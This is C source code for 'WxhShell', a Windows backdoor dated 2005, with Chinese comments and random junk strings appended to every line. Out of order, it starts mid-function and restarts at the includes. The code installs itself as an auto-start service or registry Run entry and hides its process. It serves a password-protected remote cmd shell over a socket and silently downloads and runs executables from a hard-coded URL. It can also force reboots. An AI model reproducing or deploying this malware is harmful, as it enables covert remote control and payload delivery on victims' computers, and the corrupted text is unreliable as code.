    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0]'  2i  
    if(Boot(SHUTDOWN)) 8$47Y2r@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBY&]6^-  
    else { k{F6WQ7  
    closesocket(wsh); 0Qvr g+  
    ExitThread(0); DO*6gzW  
    } ^ /%Y]d$  
    break; W|rAn2H  
    } *dBmb  
  // 获取shell P{`fav  
  case 's': { l$c/!V[3  
    CmdShell(wsh); iWr #H  
    closesocket(wsh); /c-k{5mH%  
    ExitThread(0); L?0IUGY  
    break; \eQPv kx2  
  } Ph.RWy")  
  // 退出 S[/udA   
  case 'x': { G"u4]!$/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); US9aW)8  
    CloseIt(wsh); t!J>853  
    break; I/A%3i=H  
    } g5Io=e@s  
  // 离开 !- QB>`7$  
  case 'q': { 0k?]~ f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S\t!7Xs%*U  
    closesocket(wsh); 7zE1>.  
    WSACleanup(); 'w72i/  
    exit(1); 1'TS!/ll];  
    break; tq'hiS(b  
        } s%Ph  
  } jR\ !2!  
  } 40].:9VG  
udr|6EjD.  
  // 提示信息 s/11 TgJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }.9a!/@Aj  
} \vV]fX   
  } u 6l)s0Q  
$[MAm)c:]{  
  return; OT|0_d?bD  
}  oSy9Xw  
o::9M_;  
// shell模块句柄 4%_c9nat  
int CmdShell(SOCKET sock) MzKl=G  
{ 4A(h'(^7A  
STARTUPINFO si; Tw` dLK?  
ZeroMemory(&si,sizeof(si)); &LB`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ic!x y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2Y[n  
PROCESS_INFORMATION ProcessInfo; Y*#TfWv:  
char cmdline[]="cmd"; ls9Y?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y<R5}F  
  return 0; oPbziB8  
} w7pX]<?R"  
edlf++r~  
// 自身启动模式 J n2QvUAZ&  
int StartFromService(void) \' A- Lp  
{ j%]sym  
typedef struct R!X+-  
{ gC kR$.-E  
  DWORD ExitStatus; &%/T4$'+Y+  
  DWORD PebBaseAddress; Q\xDAOEL  
  DWORD AffinityMask; G O G[^T  
  DWORD BasePriority; V7gL*,3>=  
  ULONG UniqueProcessId; eUR+j?5I  
  ULONG InheritedFromUniqueProcessId; ;KmrBNF  
}   PROCESS_BASIC_INFORMATION; (0_zp`)  
IIBS:&;+-  
PROCNTQSIP NtQueryInformationProcess; bi@'m?XwJ  
-T+'3</T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a7u*d`3X=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z}$.A9yn  
[GI2%uA0  
  HANDLE             hProcess; sVmqx^-  
  PROCESS_BASIC_INFORMATION pbi; *u,&?fCl  
I7Abf7>*Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5t_Dt<lIz  
  if(NULL == hInst ) return 0; 6iEg]FI  
@/$i -?E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !>Q\Y`a,*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^vxNS[C`;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ? }`mQ<~  
==%5Ci7qMy  
  if (!NtQueryInformationProcess) return 0; e8(Qx3T?b  
[Ran/D\.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OBF-U]?Y  
  if(!hProcess) return 0; toOdL0hCe  
hV) `e"r\s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N;>s|ET  
" L,9.b  
  CloseHandle(hProcess); q%vel.L]%  
}K,3SO(:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9}fez)m:g0  
if(hProcess==NULL) return 0; e6{E(=R[M  
H`q[!5~8  
HMODULE hMod; W.D>$R2  
char procName[255]; z" ?WT$  
unsigned long cbNeeded;  ]EQ*!  
p-DHTX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ICe;p V  
\GioSg  
  CloseHandle(hProcess); U^)`_\/;?  
10m|?  
if(strstr(procName,"services")) return 1; // 以服务启动 2 1+[9  
Q~' \oWz  
  return 0; // 注册表启动 2!b##`UjA7  
} Vr %ef:uVV  
1B~Z1w  
// 主模块 cb{"1z  
int StartWxhshell(LPSTR lpCmdLine) \,v+ejhw  
{ 2<w vO 9  
  SOCKET wsl; %AWc`D  
BOOL val=TRUE; mZM7 4!4X  
  int port=0; ]TcQGW@'  
  struct sockaddr_in door; [io|qLr}\  
c"1Z,M;G  
  if(wscfg.ws_autoins) Install(); itc\wn  
%S$$*|_G  
port=atoi(lpCmdLine); 44YKS>Cq  
#ZnNJ\6  
if(port<=0) port=wscfg.ws_port; 7i#/eRui  
!3DY#  
  WSADATA data; +.|RH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I-Ut7W  
*_}0vd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _bgv +/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YGc:84S  
  door.sin_family = AF_INET; )_4()#3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !<~cjgdx  
  door.sin_port = htons(port); {5d 5Y%&  
=2} kiLKO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vr2PCG[~  
closesocket(wsl); F=#V/ #ia  
return 1; |pq9i)e&  
} _.BT%4  
:IfwhI)  
  if(listen(wsl,2) == INVALID_SOCKET) { x5/&,&m`%  
closesocket(wsl); /s=veiH  
return 1; ~ ^   
} tp&|*M3  
  Wxhshell(wsl); A%^7D.j  
  WSACleanup(); }owl7G3  
*BF[thB:a  
return 0; L*vKIP<EMM  
gA@Zx%0j  
} ]T2Nr[vu  
L<Z,@q `  
// 以NT服务方式启动 Xw7'I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) * >8EMq\^  
{ I:UDEoQo  
DWORD   status = 0;  vP? T  
  DWORD   specificError = 0xfffffff; ~gNFcJuy  
{0-rnSjC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x)eoz2E1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MPw?HpM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S3E5^n\\  
  serviceStatus.dwWin32ExitCode     = 0; GCfVH?Vx  
  serviceStatus.dwServiceSpecificExitCode = 0; R-1MD  
  serviceStatus.dwCheckPoint       = 0; mF jM6pmo  
  serviceStatus.dwWaitHint       = 0; AS;qJ)JfzQ  
|')PQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ha 2=O  
  if (hServiceStatusHandle==0) return; %:;g|PC  
P*VZ$bUe5@  
status = GetLastError(); zZ<*  
  if (status!=NO_ERROR) ~vM99hW  
{ }@tgc?C D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jh`[ Y7RJO  
    serviceStatus.dwCheckPoint       = 0; uhp.Yv@c  
    serviceStatus.dwWaitHint       = 0; ?.H]Y&XF  
    serviceStatus.dwWin32ExitCode     = status; ={N1j<%fh  
    serviceStatus.dwServiceSpecificExitCode = specificError; .V3e>8gw3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W}MN-0  
    return; ?A*!rW:l;  
  } G'(rjH>q  
,w BfGpVb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zzz94`  
  serviceStatus.dwCheckPoint       = 0; <1<xSr  
  serviceStatus.dwWaitHint       = 0; 6DgdS5GhT_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oVPr`]  
} 4neO$^i8J  
u*,>$(-u  
// 处理NT服务事件,比如:启动、停止 )58 ~2vR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CA5`uh  
{ `+>K)5hrR  
switch(fdwControl) g-"GZi  
{ c$tX3ug6I  
case SERVICE_CONTROL_STOP: :XG~AR /  
  serviceStatus.dwWin32ExitCode = 0; %2g<zdab  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1<_/Qu>V  
  serviceStatus.dwCheckPoint   = 0; 0(:SEiz6s  
  serviceStatus.dwWaitHint     = 0; |5X[/Q*K`W  
  { [;sTl~gC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BOq9\g`5s  
  } P?P.QK  
  return; %b4tyX:N0  
case SERVICE_CONTROL_PAUSE: `ZI-1&Y3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (K84J*;  
  break; X?n=UebO^  
case SERVICE_CONTROL_CONTINUE: : T7(sf*!*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VO=Ibu&X  
  break; uZ\+{j=  
case SERVICE_CONTROL_INTERROGATE: Z*UVbyC  
  break; .kPNWNrw  
}; gt02Csdt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TO"Md["GI  
} 5I^;v;F  
`M 'tuQ M  
// 标准应用程序主函数 ~ A=Gra  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5r~jo7  
{ `8RKpZv&  
P*~ vWYH9  
// 获取操作系统版本 AovBKB $  
OsIsNt=GetOsVer(); zp<B,Ls  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vlE]RB  
7}6CUo  
  // 从命令行安装  ms&1P  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0H_uxkB~  
A1,q 3<<D%  
  // 下载执行文件 [w|Klq5  
if(wscfg.ws_downexe) { _6ck@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c1jR j=\  
  WinExec(wscfg.ws_filenam,SW_HIDE); g,]m8%GHE  
} J@6j^U  
t H.L_< N  
if(!OsIsNt) { QeuM',6R  
// 如果时win9x,隐藏进程并且设置为注册表启动 =|ODa/2 p  
HideProc(); [3nWxFz$R  
StartWxhshell(lpCmdLine); dr:x0>  
} Xo/H+[;X  
else cy;i1#1rO  
  if(StartFromService()) s8>y&b.  
  // 以服务方式启动 $D!/v)3  
  StartServiceCtrlDispatcher(DispatchTable); 2b^Fz0 w4  
else rqqd} kA  
  // 普通方式启动 &0-oi Y  
  StartWxhshell(lpCmdLine); JcmJq fR  
Dm5 Uy^F}  
return 0; Y7r;}^+WY  
} QDJ "X  
 QSY>8P  
$/ IFSB9  
LSJ.pBl\X  
=========================================== tO:JB&vO2  
vszm9Qf  
HdB>CVuh  
KU9FHN  
}YFM4 0H  
Mh5> hD  
" m} s.a.x  
Rk3 bZvj3  
#include <stdio.h> AguE)I&m  
#include <string.h> F=1 #qo<?  
#include <windows.h> yxp,)os:  
#include <winsock2.h> :;]9,n  
#include <winsvc.h> v x/YWZ  
#include <urlmon.h> d!0rq4v7  
.7g h2K  
#pragma comment (lib, "Ws2_32.lib") Wtc ib-  
#pragma comment (lib, "urlmon.lib") !W@mW 5J|  
-8Mb~Hfl0  
#define MAX_USER   100 // 最大客户端连接数 TaBya0-  
#define BUF_SOCK   200 // sock buffer DR}I+<*%aD  
#define KEY_BUFF   255 // 输入 buffer _Tor9Tj  
4Zwbu  
#define REBOOT     0   // 重启 ?<C(ga  
#define SHUTDOWN   1   // 关机 (b<0=U   
<%S)6cw(3  
#define DEF_PORT   5000 // 监听端口 3J &R os  
dVEs^ZtI  
#define REG_LEN     16   // 注册表键长度 VYkh@j  
#define SVC_LEN     80   // NT服务名长度 Z,E$4Z  
C:5- h(#  
// 从dll定义API 1Ng.Ukb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); . c+m(Pk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0ck3II  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }" vxYB!h3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qa )+Tv  
2WFZ6  
// wxhshell配置信息 [=q/f2_1.  
struct WSCFG { =N\; ?eF(  
  int ws_port;         // 监听端口 D4 8e30  
  char ws_passstr[REG_LEN]; // 口令 :1j8!R5  
  int ws_autoins;       // 安装标记, 1=yes 0=no X%IqZ{ {  
  char ws_regname[REG_LEN]; // 注册表键名 -GPJ,S V>  
  char ws_svcname[REG_LEN]; // 服务名 CMW4Zqau*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P7XZ|Td4*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v4"Ukv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C:t>u..  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uo]xC+^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &3Zb?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rBTg"^jsw  
X_o#!  
}; =IsmPQKi  
xBTx`+%WS  
// default Wxhshell configuration N knS:r&2  
struct WSCFG wscfg={DEF_PORT, 6Lq`zU^  
    "xuhuanlingzhe", Gd%i?(U,R  
    1, 1~L;S  
    "Wxhshell", fOHbgnL>  
    "Wxhshell", 1\m,8i+gU  
            "WxhShell Service", l1DJ<I2  
    "Wrsky Windows CmdShell Service", g&xj(SMj-$  
    "Please Input Your Password: ", @9HRGxJ=}  
  1, : "| /  
  "http://www.wrsky.com/wxhshell.exe", fc*>ky.v  
  "Wxhshell.exe" h2Nt@  
    }; jL\j$'KC  
9,INyEyAL  
// 消息定义模块 E.Xp\Dm71  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M0fN[!*z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iv~R4;;)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 mCf*|  
char *msg_ws_ext="\n\rExit."; 5 :IDl1f5  
char *msg_ws_end="\n\rQuit."; -eF-r=FR  
char *msg_ws_boot="\n\rReboot..."; {kk%_q  
char *msg_ws_poff="\n\rShutdown..."; //2O#Fg{/  
char *msg_ws_down="\n\rSave to "; 8>e YM  
uS`}  
char *msg_ws_err="\n\rErr!";  O>]i?  
char *msg_ws_ok="\n\rOK!"; BJux5Nh  
F(ydqgH~a  
char ExeFile[MAX_PATH]; Hq W /  
int nUser = 0; .t1:;H b  
HANDLE handles[MAX_USER]; A r]*?:4y[  
int OsIsNt; >fXtu:C-!J  
qKfUm:7Q_  
SERVICE_STATUS       serviceStatus; +Pl)E5W!=`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :6nD"5(  
qhGz2<}_j  
// 函数声明 bQautRW  
int Install(void); HXKM<E{j  
int Uninstall(void); 6T$=(I <4  
int DownloadFile(char *sURL, SOCKET wsh); , yltt+ e  
int Boot(int flag); +fXwbZ?p  
void HideProc(void); f-|?He4O]  
int GetOsVer(void); KBB)xez8  
int Wxhshell(SOCKET wsl); e^O:I  
void TalkWithClient(void *cs); Z|n|gxe  
int CmdShell(SOCKET sock); r&4Xf# QD6  
int StartFromService(void); +s}&'V^  
int StartWxhshell(LPSTR lpCmdLine); q!:dZES  
[n[dr@J7v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  U=~?ca  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *0>`XK$mWo  
MT~^wI0a  
// 数据结构和表定义 !YAX.e  
SERVICE_TABLE_ENTRY DispatchTable[] = k5Cy/gR  
{ -4Hb]#*2  
{wscfg.ws_svcname, NTServiceMain}, Q0R05*  
{NULL, NULL} =l43RawAmu  
}; a -Pz<*  
-13}]Gls7Q  
// 自我安装 9-T<gYl  
int Install(void) >XgJo7u  
{ Pb'(Y  
  char svExeFile[MAX_PATH]; x;7l>uR  
  HKEY key; Qf( A  
  strcpy(svExeFile,ExeFile); uM`i!7}  
jlj ge=#c2  
// 如果是win9x系统,修改注册表设为自启动 66pjWS {X  
if(!OsIsNt) { Pjs=n7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "KP]3EyPc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >;MJm  
  RegCloseKey(key); Q<V(#)*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 61H_o7XXk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xb%Q%"?~  
  RegCloseKey(key); vWoppt  
  return 0; !ddyJJ^a  
    } Q[#}Oh6$  
  } ?0t^7HMP  
} ({j8|{)+  
else { rgVRF44X{  
P$U" y/  
// 如果是NT以上系统,安装为系统服务 Q)0KYKD+@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qz[^J  
if (schSCManager!=0) /Ot3[B  
{ $,~Ily7w  
  SC_HANDLE schService = CreateService ;-VZVp}Y  
  ( r"2lcNE  
  schSCManager, .m]}Ba}J$  
  wscfg.ws_svcname, pZ>yBY?R8>  
  wscfg.ws_svcdisp, [o<hQ`&  
  SERVICE_ALL_ACCESS, v>wN O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q|<B9Jk  
  SERVICE_AUTO_START,  !vf:mMo  
  SERVICE_ERROR_NORMAL, 8+[Vo_]  
  svExeFile, 9s"st\u 4  
  NULL, |qMG@  
  NULL, N~=I))i  
  NULL, y-3'qq'E  
  NULL, *Mhirz% iD  
  NULL B$2b =\  
  ); g{DehBM  
  if (schService!=0) LXo$\~M8G8  
  { s0' haU  
  CloseServiceHandle(schService); 32 i6j  
  CloseServiceHandle(schSCManager); 7{}E{/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  C^"zU>W_  
  strcat(svExeFile,wscfg.ws_svcname); eY :"\c3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =T9h7c R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j<~Wp$\i7>  
  RegCloseKey(key); 3FR(gr$X  
  return 0; -Rw3[4>@O"  
    } '* y(F*7+  
  } j_2g*lQ7a  
  CloseServiceHandle(schSCManager); V#w$|2  
} _+B y=B.'  
} P#hRqETw  
\eKXsO"d  
return 1; 1.+O2qB  
} >}*W$i  
:o8`2Z*g  
// 自我卸载 Nb$0pc1J<  
int Uninstall(void) UAF$bR  
{ #S?^?3d  
  HKEY key; ;F258/J  
"BSY1?k{  
if(!OsIsNt) { #<)[{+f[t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /GGyM]k3  
  RegDeleteValue(key,wscfg.ws_regname); UH>~Y N  
  RegCloseKey(key); 7_ix&oVI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z)C}}NH*!@  
  RegDeleteValue(key,wscfg.ws_regname); 4u iq'-  
  RegCloseKey(key); i6V$mhL  
  return 0; 6#U~>r/  
  } ]!AS%D`  
} iXm&\.%  
} ~k&b  
else { I4N7wnBp  
Jt5V{9:('  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <=n;5hv:  
if (schSCManager!=0) bpBn3f`?*  
{ Z(6.e8fK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tAN!LI+w  
  if (schService!=0) oUnb-,8n  
  { 9$$  Ijf  
  if(DeleteService(schService)!=0) { F)cCaE;  
  CloseServiceHandle(schService); 4nm.ea|  
  CloseServiceHandle(schSCManager); ^rJTlh 9  
  return 0; &pzL}/u  
  } |/K| Vwa  
  CloseServiceHandle(schService); <}WSYK,zUY  
  } IaeO0\ 4E  
  CloseServiceHandle(schSCManager); .F7?}8>Z  
} w0g@ <( 3  
} v>LK+|U  
_\d|`3RM  
return 1; @FIL4sb  
} #[M^Q h  
?Vg~7Eu0  
// 从指定url下载文件 fSbLkd 9  
int DownloadFile(char *sURL, SOCKET wsh) j:cu;6|  
{ E9\"@wu[d  
  HRESULT hr; GbO j% a  
char seps[]= "/"; neu+h6#H  
char *token; vy~6]hH  
char *file; %q|* }l  
char myURL[MAX_PATH]; "^z%|uXkf  
char myFILE[MAX_PATH]; 8)8~c@  
y 0p=E^Q M  
strcpy(myURL,sURL); M@es8\&S.  
  token=strtok(myURL,seps); X>7Pqn'  
  while(token!=NULL) bji#ID2]%  
  { {oY"CZ2  
    file=token; >Y4^<!\v  
  token=strtok(NULL,seps); 4C?{p%3c  
  } PJZ;wqTD_  
l\ dPfJ  
GetCurrentDirectory(MAX_PATH,myFILE); 7kV$O(4  
strcat(myFILE, "\\"); oA5Qk3b:  
strcat(myFILE, file); 5 b rM..  
  send(wsh,myFILE,strlen(myFILE),0); B`QF;,3S  
send(wsh,"...",3,0); U=JK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9c]$d  
  if(hr==S_OK) H&ek"nP_  
return 0; C2R"96M7q  
else UhW{KIW  
return 1; KOe]JDU  
Kv* 1=HES  
} g"sb0d9  
/ZiMD;4@y  
// 系统电源模块 lB _9b_|2  
int Boot(int flag) Z]Xa:[  
{ qGag{E5!  
  HANDLE hToken; YL*FjpVW  
  TOKEN_PRIVILEGES tkp; ~Zsj@d  
#8t=vb3  
  if(OsIsNt) { XwEMF5[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hub]M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ch?yk^cY  
    tkp.PrivilegeCount = 1; iyCH)MA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x=rMjz-`_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EB&hgz&_  
if(flag==REBOOT) { MX~h>v3_R4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \ &|xMw[  
  return 0; qWK}  
} 7|=SZ+g  
else { !Dc?9W!b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vULDKJNHX  
  return 0; GjEV]hqR  
} C4E}.``Hm  
  } aT2%Az@j  
  else { xb[yy}>"L  
if(flag==REBOOT) { ?W ^`Fa)]o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MMjewGxe  
  return 0; ):G+*3yb  
} /|U;_F Pmc  
else { +xIVlH9`Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2 Ax(q&`9  
  return 0; dKPXs-5  
} axnVAh|}S  
} ]NaH *\q  
SLP $|E;  
return 1; x!I@cP#O  
} ){/n7*#Th%  
t_I-6`8o]  
// win9x进程隐藏模块 ^'N!k{x  
void HideProc(void) |7|'J Ty  
{ wIRU!lIF9  
dW/(#KP/+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fATnza  
  if ( hKernel != NULL ) 9ox5,7ZQ  
  { y46sL~HRv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); " ?aE3$/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W{JR%Sq$  
    FreeLibrary(hKernel); |LIcq0Z  
  } q) 5s'(  
i|H^&$|  
return; qtVgjT2#H  
} 2|!jst  
-;Mh|!yg  
// 获取操作系统版本 W"/,<xHuh  
int GetOsVer(void) #lFsgb  
{  1^hG}#6_  
  OSVERSIONINFO winfo; D'g@B.fXd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?jO<<@*2S  
  GetVersionEx(&winfo); c;b<z|}z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f~?5;f:E  
  return 1; Yc[vH=gV}  
  else 'h&>K,U?5  
  return 0; f 4K)Z e  
} }5" Rj<  
]\ZJaU80I~  
// 客户端句柄模块 I7XM2xM  
int Wxhshell(SOCKET wsl) toG- Dz&  
{ j5hQ;~Fa|  
  SOCKET wsh; p&XuNk  
  struct sockaddr_in client; ,UVd+rY}  
  DWORD myID; vG}\Amx+  
]$)};8;7W  
  while(nUser<MAX_USER) 1iqgTi>  
{ vEt=enQ  
  int nSize=sizeof(client); aQWg?,Ju6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _NuHz  
  if(wsh==INVALID_SOCKET) return 1; 2MXg)GBcU>  
R,!a X"]|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _B 4 N2t$  
if(handles[nUser]==0) }e"2Nc_UG  
  closesocket(wsh); qi_uob  
else ( F R  
  nUser++; K#v@bu:'  
  } sN[<{;K4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LD|T1 .  
*bcemH8f  
  return 0; [A uA<  
}  X|TGM  
!9zs>T&9a\  
// 关闭 socket 'Um\m  
void CloseIt(SOCKET wsh) r_^]5C\  
{ coXm*X>z  
closesocket(wsh); $KRpu<5i}  
nUser--; YTe8C9eO  
ExitThread(0); mk-L3H1@J3  
} w(%$~]h  
0a$hK9BH  
// 客户端请求句柄 gU@.IOg  
void TalkWithClient(void *cs) 8(6mH'^y  
{ n?^X/R.22  
>Co@K^'  
  SOCKET wsh=(SOCKET)cs; rt! lc-g%/  
  char pwd[SVC_LEN]; 7B gA+Fz  
  char cmd[KEY_BUFF]; QUdF`_U7  
char chr[1]; u"q!p5P%q  
int i,j; Qz A)HDQ  
f,+ONV]5Tt  
  while (nUser < MAX_USER) { (aq^\#9btO  
XKBQH(  
if(wscfg.ws_passstr) { L#T`h}1Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); scEE$:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pKL^ <'w0  
  //ZeroMemory(pwd,KEY_BUFF); ]\=M$:,RZ  
      i=0; 8{.:$T  
  while(i<SVC_LEN) { lgCOp%>  
OB+I.qlHP  
  // 设置超时 X2('@Yh  
  fd_set FdRead; rI]n4>k{  
  struct timeval TimeOut; Q0_|?]v  
  FD_ZERO(&FdRead); ;cZ]^kof  
  FD_SET(wsh,&FdRead); bJ.68643  
  TimeOut.tv_sec=8; ps]s Tw  
  TimeOut.tv_usec=0; ])T_&%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t7 $2/C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0K^G>)l  
m}-~VYDj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p~u11rH  
  pwd=chr[0]; ~u80v h'  
  if(chr[0]==0xd || chr[0]==0xa) { [~rBnzb  
  pwd=0; j0K}nS\ P  
  break; ~Ywto  
  } jDM^e4U.l  
  i++; <+7-^o _  
    } !7kca#,X  
 N5GQ2V  
  // 如果是非法用户,关闭 socket -}<W|r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cW, 6 MAQo  
} (AgM7H0  
gcs8Gl2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D\G P+Ota  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !bD`2m[Q  
^,Y#_$oR  
while(1) { @GR|co  
$zV[- d  
  ZeroMemory(cmd,KEY_BUFF); & AlX).  
yu62$ d  
      // 自动支持客户端 telnet标准   c_bIadE{  
  j=0; 0~N2MoOl^  
  while(j<KEY_BUFF) { `_&7-;)i*\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O!\\m0\ e  
  cmd[j]=chr[0]; {-Y% wM8<i  
  if(chr[0]==0xa || chr[0]==0xd) { xyTjK.N  
  cmd[j]=0; GCPSe A~cx  
  break; HveOG$pT  
  } DJhCe==$v  
  j++; IE9A _u*  
    } x k5Z&z  
/7<l`RSr  
  // 下载文件 KrT+Svm  
  if(strstr(cmd,"http://")) { l< RztzUw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (f|3(u'e?  
  if(DownloadFile(cmd,wsh)) pVm'XP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GKKf#r74  
  else fg1["{\  
